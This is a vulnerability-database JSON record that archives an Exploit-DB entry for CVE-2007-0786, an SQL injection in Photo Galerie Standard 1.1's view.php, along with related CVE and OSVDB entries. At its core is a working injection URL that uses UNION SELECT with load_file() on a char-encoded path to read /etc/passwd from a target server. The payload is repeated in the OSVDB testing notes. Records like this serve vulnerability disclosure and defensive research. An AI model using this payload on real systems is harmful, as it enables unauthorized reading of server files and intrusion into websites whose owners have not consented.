{"hash": "257c92d964fdc46d46c001ddb334c9017af64cf2a27b83b492fe341abe38ae0f", "id": "EDB-ID:3261", "lastseen": "2016-01-31T18:04:57", "enchantments": {"vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/3261/", "description": "Photo Galerie Standard <= 1.1 (view.php) SQL Injection Vulnerability. CVE-2007-0786. Webapps exploit for php platform", "title": "Photo Galerie Standard <= 1.1 view.php SQL Injection Vulnerability", "sourceData": "*******************************************************************************\n# Title : Photo Galerie Standard <= 1.1 (view.php) Remote SQL Injection Vulnerability\n# Author : ajann\n# Contact : :(\n# S.Page : http://noname-media.com\n# $$ : Free\n\n*******************************************************************************\n\n[[SQL]]]---------------------------------------------------------\n\nhttp://[target]/[path]//view.php?id=[SQL]\n\nExample:\n\netc/passwd Read\n\n//view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1\n\n[[/SQL]]\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n# ajann,Turkey\n# ...\n\n# Im not Hacker!\n\n# milw0rm.com [2007-02-03]\n", "objectVersion": "1.0", "cvelist": ["CVE-2007-0786"], "published": "2007-02-03T00:00:00", "osvdbidlist": ["33089"], "references": [], "reporter": "ajann", "modified": "2007-02-03T00:00:00", "href": "https://www.exploit-db.com/exploits/3261/"}

{"result": {"cve": [{"id": "CVE-2007-0786", "type": "cve", "title": "CVE-2007-0786", "description": "SQL injection vulnerability in view.php in Noname Media Photo Galerie Standard 1.1.1 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter.", "published": "2007-02-06T14:28:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-0786", "cvelist": ["CVE-2007-0786"], "lastseen": "2017-10-19T11:12:44"}], "osvdb": [{"id": "OSVDB:33089", "type": "osvdb", "title": "Photo Galerie Script view.php id Variable SQL Injection", "description": "## Manual Testing Notes\n/view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1\n## References:\nVendor URL: http://noname-media.com/\n[Secunia Advisory ID:24029](https://secuniaresearch.flexerasoftware.com/advisories/24029/)\nOther Advisory URL: http://milw0rm.com/exploits/3261\nFrSIRT Advisory: ADV-2007-0475\n[CVE-2007-0786](https://vulners.com/cve/CVE-2007-0786)\nBugtraq ID: 22384\n", "published": "2007-02-03T10:03:42", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:33089", "cvelist": ["CVE-2007-0786"], "lastseen": "2017-04-28T13:20:29"}]}}